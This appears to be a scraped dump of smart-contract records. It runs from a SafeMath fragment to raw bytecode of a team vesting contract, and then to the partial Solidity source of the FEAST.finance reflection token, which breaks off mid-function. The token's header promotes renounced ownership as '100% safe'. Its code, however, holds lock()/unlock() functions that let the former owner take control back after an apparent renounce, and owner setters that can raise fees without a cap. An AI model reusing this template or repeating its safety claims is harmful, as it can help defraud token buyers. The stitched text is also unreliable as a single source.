operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } }
0x608060405234801561001057600080fd5b50600436106100b35760003560e01c806366d003ac1161007157806366d003ac146101ad57806379521b2c146101d157806384a1931f146101d9578063a9898b9b146101e1578063c0463711146101e9578063e29bc68b146101f1576100b3565b8062728f76146100b857806306fdde03146100d25780630c08bf881461014f5780633bbed4a0146101595780634e71d92d1461017f5780635c19a95c14610187575b600080fd5b6100c06101f9565b60408051918252519081900360200190f35b6100da61021d565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101145781810151838201526020016100fc565b50505050905090810190601f1680156101415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610157610256565b005b6101576004803603602081101561016f57600080fd5b50356001600160a01b0316610426565b610157610491565b6101576004803603602081101561019d57600080fd5b50356001600160a01b0316610655565b6101b5610728565b604080516001600160a01b039092168252519081900360200190f35b6101b5610737565b6100c061075b565b6101b561077f565b6100c06107a3565b6100c06107a9565b7f00000000000000000000000000000000000000000000026f6a8f4e638030000081565b6040518060400160405280601d81526020017f496e6465786564205465616d2056657374696e6720436f6e747261637400000081525081565b336001600160a01b037f00000000000000000000000002bef2cdebb509d33d300896dc5c76b58dbda95b16146102bd5760405162461bcd60e51b81526004018080602001828103825260338152602001806109986033913960400191505060405180910390fd5b6102c5610491565b60007f00000000000000000000000086772b1409b61c639eaac9ba0acfbb6e238e5f836001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561033457600080fd5b505afa158015610348573d6000803e3d6000fd5b505050506040513d602081101561035e57600080fd5b50516040805163a9059cbb60e01b81526001600160a01b037f00000000000000000000000002bef2cdebb509d33d300896dc5c76b58dbda95b811660048301526024820184905291519293507f00000000000000000000000086772b1409b61c639eaac9ba0acfbb6e238e5f839091169163a9059cbb916044808201926020929091908290030181600087803b1580156103f757600080fd5b505af115801561040b573d6000803e3d6000fd5b505050506040513d602081101561042157600080fd5b505050565b6000546001600160a01b0316331461046f5760405162461bcd60e51b815260040180806020018281038252603681526020018061090f6036913960400191505060405180910390fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b60007f000000000000000000000000000000000000000000000000000000006106e120421061055357604080516370a0823160e01b815230600482015290516001600160a01b037f00000000000000000000000086772b1409b61c639eaac9ba0acfbb6e238e5f8316916370a08231916024808301926020929190829003018186803b15801561052057600080fd5b505afa158015610534573d6000803e3d6000fd5b505050506040513d602081101561054a57600080fd5b505190506105dd565b6105d67f00000000000000000000000000000000000000000000000000000000602376607f000000000000000000000000000000000000000000000000000000006106e120036105d060015442037f00000000000000000000000000000000000000000000026f6a8f4e63803000006107cd90919063ffffffff16565b9061082f565b4260015590505b600080546040805163a9059cbb60e01b81526001600160a01b0392831660048201526024810185905290517f00000000000000000000000086772b1409b61c639eaac9ba0acfbb6e238e5f839092169263a9059cbb926044808401936020939083900390910190829087803b1580156103f757600080fd5b6000546001600160a01b0316331461069e5760405162461bcd60e51b81526004018080602001828103825260328152602001806109456032913960400191505060405180910390fd5b7f00000000000000000000000086772b1409b61c639eaac9ba0acfbb6e238e5f836001600160a01b0316635c19a95c826040518263ffffffff1660e01b815260040180826001600160a01b03168152602001915050600060405180830381600087803b15801561070d57600080fd5b505af1158015610721573d6000803e3d6000fd5b5050505050565b6000546001600160a01b031681565b7f00000000000000000000000086772b1409b61c639eaac9ba0acfbb6e238e5f8381565b7f000000000000000000000000000000000000000000000000000000006106e12081565b7f00000000000000000000000002bef2cdebb509d33d300896dc5c76b58dbda95b81565b60015481565b7f000000000000000000000000000000000000000000000000000000006023766081565b6000826107dc57506000610829565b828202828482816107e957fe5b04146108265760405162461bcd60e51b81526004018080602001828103825260218152602001806109776021913960400191505060405180910390fd5b90505b92915050565b600061082683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836108f85760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156108bd5781810151838201526020016108a5565b50505050905090810190601f1680156108ea5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161090457fe5b049594505050505056fe43616e63656c61626c6544656c65676174696e675665737465723a3a736574526563697069656e743a20756e617574686f72697a656443616e63656c61626c6544656c65676174696e675665737465723a3a64656c65676174653a20756e617574686f72697a6564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7743616e63656c61626c6544656c65676174696e675665737465723a3a7465726d696e6174653a20756e617574686f72697a6564a2646970667358221220b4ae0d6041f606285b7e6f13ef92cd3e46abbd66b16403485b7ed47b2ff5f98664736f6c634300060c0033
[ 16 ]
0xf2df8458130f00c94bcde2dd3f288cf608187f87
/** FEAST.finance #LIQ+#RFI+#SHIB+#BUNNY+#FEG+#PIG, combine together to creat #FEAST designed to make everyone FEAST! I make this #FEAST to hand over it to the community. Create the community by yourself if you are interested. I suggest a telegram group name for you to create: https://t.me/FEASTfinance , https://t.me/FEASTbsc Great features: 3% fee auto add to the liquidity pool to locked forever when selling 2% fee auto distribute to all holders 50% burn to the black hole, with such big black hole and 3% fee, the strong holder will get a valuable reward I will burn liquidity LPs to burn addresses to lock the pool forever. I will renounce the ownership to burn addresses to transfer #FEAST to the community, make sure it's 100% safe. I will add 5 BNB and all the left 49.5% total supply to the pool Can you make #FEAST 10000000X? 1,000,000,000,000,000 total supply 5,000,000,000,000 tokens limitation for trade 1% tokens for dev 3% fee for liquidity will go to an address that the contract creates, and the contract will sell it and add to liquidity automatically, it's the best part of the #FEAST idea, increasing the liquidity pool automatically, help the pool grow from the small init pool. */ pragma solidity ^0.6.12; // SPDX-License-Identifier: Unlicensed interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = now + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(now > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } // pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract FEASTFinance is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "FEAST.finance"; string private _symbol = "FEAST"; uint8 private _decimals = 9; uint256 public _taxFee = 2; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 3; uint256 private _previousLiquidityFee = _liquidityFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxTxAmount = 5000000 * 10**6 * 10**9; uint256 private numTokensSellToAddToLiquidity = 500000 * 10**6 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () public { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { _liquidityFee = liquidityFee; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { 